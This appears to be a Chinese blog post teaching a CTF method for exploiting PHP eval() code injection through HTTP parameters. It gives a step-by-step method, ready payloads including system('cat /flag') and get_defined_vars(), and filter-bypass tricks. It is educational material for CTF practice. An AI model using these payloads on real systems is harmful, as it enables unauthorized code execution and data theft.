GKLBB

当你经历了暴风雨,你也就成为了暴风雨

导航

应用安全 --- CTF考点 之 http请求参数的代码注入

 

一、识别漏洞模式

当你看到以下代码结构时,立即警觉:

PHP
eval("某固定代码($用户输入);");

本质:用户输入被当作 PHP 代码的一部分直接执行,而非数据。

常见变体:

写法危险等级
eval("var_dump($a);") ⚠️ 高危
eval("echo $a;") ⚠️ 高危
eval("\$result = $a;") ⚠️ 高危
assert($a) ⚠️ 高危(PHP < 8)
preg_replace('/x/e', $a, ...) ⚠️ 高危(PHP < 7)

二、通用解题五步法

Step 1 — 读源码,找注入点

 
目标:确定 eval 的模板字符串长什么样

关键问题:

  • 用户输入 $a 拼在什么位置?
  • 前后有哪些固定字符(括号、分号、引号)?
  • 有没有过滤函数(preg_match、str_replace、addslashes)?

Step 2 — 闭合原有语法

 
目标:让原始代码语法完整,不报错

核心技巧:用 ) 和 ; 提前结束原有函数调用。

 
原始:  eval("var_dump($a);")
输入:  1);
拼合:  eval("var_dump(1););")
              ↑闭合    ↑残留

Step 3 — 注入目标代码

 
目标:在闭合之后插入你想执行的 PHP 语句

常用 payload 选择:

目标payload适用场景
读 flag 变量 var_dump(get_defined_vars()) flag 已被 include,不知道变量名
读 flag 变量 var_dump($flag) 已知变量名
读文件 var_dump(file_get_contents('flag.php')) flag 在文件中
列目录 var_dump(scandir('/')) 找 flag 文件位置
执行命令 system('cat /flag') 允许命令执行

Step 4 — 注释残留代码

 
目标:吞掉模板尾部的多余字符,防止语法错误
残留内容注释方式示例
); // ...payload;//
"); // ...payload;//
'); // ...payload;//
多行残留 /* */ ...payload;/*

Step 5 — URL 编码并发送

 
目标:特殊字符不被浏览器/服务器截断

必须编码的字符:

字符编码原因
) %29 闭合括号
( %28 函数调用
; %3B 语句分隔
/ %2F 注释符
空格 %20 或 + 分隔符

三、万能 Payload 模板

 
1);var_dump(get_defined_vars());//

拼合效果:

 
eval("var_dump(1);var_dump(get_defined_vars());//);")
      ├─ 合法语句1 ─┤├─ 合法语句2(拿flag)─┤├注释┤

为什么 get_defined_vars() 是首选:

  • 不需要猜测 flag 变量名($flag?$FLAG?$f1ag?)
  • 不需要知道 flag 文件路径
  • 只要 flag 变量在当前作用域,一定出现在输出中

四、遇到过滤时的绕过思路

过滤内容绕过方法
过滤 flag 字符串 get_defined_vars() 不出现 flag 字样
过滤 ( ) 用 ${...} 或 $_GET[x] 动态构造
过滤 ; 用 ?> 提前结束 PHP 标签
过滤 // 用 /* 块注释,或 ?> 截断
过滤 eval 本身 此题无解(代码固定),但实际中找其他执行点
过滤空格 用 %09(Tab)、%0a(换行)、/**/ 替代

五、速查清单(做题时对照)

 
□ 源码是否可见?(show_source / highlight_file)
□ flag 是变量还是文件?(include flag.php vs 读 /flag)
□ eval 模板的完整字符串是什么?
□ 需要闭合几个括号?
□ 尾部残留用什么注释?
□ 有没有关键词过滤?
□ payload 是否做了 URL 编码?
□ 响应中是否搜索了 "flag{" 关键字?

六、一句话总结

闭合原语句 → 插入 get_defined_vars() → 注释残留 → URL 编码发送 → 响应中搜 flag。

posted on 2026-10-20 10:31  GKLBB  阅读(11)  评论(0)    收藏  举报